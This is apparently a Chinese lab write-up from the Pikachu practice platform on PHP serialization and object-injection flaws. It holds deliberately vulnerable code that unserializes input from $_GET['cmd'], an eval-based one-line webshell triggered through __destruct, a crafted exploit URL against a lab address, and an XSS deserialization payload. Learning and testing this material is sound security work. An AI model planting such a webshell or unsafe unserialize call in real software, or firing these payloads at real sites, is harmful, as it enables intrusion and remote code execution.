Pikachu漏洞平台练习——PHP序列化与反序列化、PHP反序列化漏洞
1.序列化serialize()与反序列化unserialize()
- 序列化:把一个对象变成可以传输的字符串。
- 反序列化:把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
举例说明如下:
<?php
Class a{
Var $test = 'test';
}
$a = new a();
Echo serialize($a);//序列化成为一个字符串形式
$b=unserialize(serialize($a));//反序列化成为一个对象
Print_r($b->test);
?>
大括号前面依次表示,O代表结构类型为:类,1表示类名长度,a表示类名、1表示属性(成员)个数
大括号内分别是:s表示属性名类型、4表示长度、test表示名称;s表示值类型、4表示长度、test表示值
大括号后面表示反序列话后的结果为test
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
2.PHP反序列化漏洞
PHP类中有一种特殊函数体的存在叫魔法函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用。在反序列化时,如果反序列化对象中存在魔法函数,使用unserialize()函数同时也会触发。也就是说,一旦我们能够控制unserialize()入口,那么就可能引发对象注入漏洞。
__construct()当一个对象创建时被调用
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前,
__wakeup()将在序列化之后立即被调用。
- 调用_destruct()魔法函数
<?php
class A {
var $test = 'test';
function __destruct(){
echo $this->test;
}
}
$a = new A();
echo serialize($a);
?>
漏洞发现:
<?php
class A {
var $test = 'test';
function __destruct(){
echo $this->test;
}
}
$b = $_GET['cmd'];
$c = unserialize($b);
//echo $c->test;
?>
报错如下,可进行漏洞利用
手工添加cmd注入,得到反序列化后结果test
那么结果得到的test是在URL中输入进去的,还是代码中定义的呢?我们可以接着测试一下:
从上面结果中显而易见,输入的字符串将代码中定义的覆盖掉了。也就是说,手动注入成功了。
同样的,接下来我们可以尝试将字符注入,结果如下所示:成功了
- 接下来可以尝试构造一个反序列化的马子 :实现一句话木马的变形
<?php
class A {
var $test = 'test';
function __destruct(){
@eval($this->test);
}
}
$b = $_GET['cmd'];
$len=strlen($_GET['cmd'])+1;
$d = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$b.";\";}";
$c = unserialize($d);
//echo $c->test;
?>
- 不改变类名成员个数的情况下,增加新的成员,反序列化后的结果是否改变?尝试如下:
<?php
class a {
var $test = 'test';
function __destruct(){
echo $this->test1;
}
}
$b = $_GET['cmd'];
echo $b;
$c = unserialize($b);
#echo 'dir';
?>
http://192.168.109.140/serialize.php?cmd=O:1:%22a%22:2:{s:4:%22test%22;s:5:%22`dir`%22;s:5:%22test1%22;s:6:%22`dir1`%22;}
从反序列化结果为‘dir1',回到源代码看到$this->test1,即cmd中手动输入命令时会直接定位到名为test1上的值,可知是'dir1'。
3.pikachu平台测试
payload: O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}